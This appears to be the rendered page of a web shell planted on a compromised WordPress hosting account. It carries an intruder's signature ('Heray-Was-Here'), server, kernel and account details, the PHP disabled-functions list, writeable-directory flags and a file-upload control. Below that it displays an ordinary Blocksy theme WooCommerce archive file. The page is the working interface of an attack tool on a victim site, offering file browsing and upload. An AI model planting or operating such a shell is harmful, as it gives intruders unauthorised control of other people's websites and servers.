Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/public_html/wp-content/themes/blocksy/inc/components/woocommerce/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/public_html/wp-content/themes/blocksy/inc/components/woocommerce/archive/index.php
<?php

add_filter('woocommerce_show_page_title', '__return_false');
remove_action('woocommerce_sidebar', 'woocommerce_get_sidebar');

remove_action(
	'woocommerce_before_main_content',
	'woocommerce_breadcrumb',
	20
);

remove_action(
	'woocommerce_before_main_content',
	'woocommerce_output_content_wrapper',
	10
);

remove_action(
	'woocommerce_after_main_content',
	'woocommerce_output_content_wrapper_end',
	10
);

remove_action(
	'woocommerce_before_single_product_summary',
	'woocommerce_show_product_sale_flash'
);

add_action('wp', function() {
	$location_documents = [];
	
	if (class_exists('\ElementorPro\Modules\ThemeBuilder\Module')) {
		$location_documents = \ElementorPro\Modules\ThemeBuilder\Module::instance()
				->get_conditions_manager()
				->get_documents_for_location(
					'archive'
				);
	}

	if (empty($location_documents)) {
		remove_action(
			'woocommerce_archive_description',
			'woocommerce_taxonomy_archive_description'
		);

		remove_action(
			'woocommerce_archive_description',
			'woocommerce_product_archive_description'
		);
	}
});


add_action('woocommerce_before_shop_loop', function () {
	echo '<div class="woo-listing-top">';
}, 12);

add_action('woocommerce_before_shop_loop', function () {
	echo '</div>';
}, 31);


Hry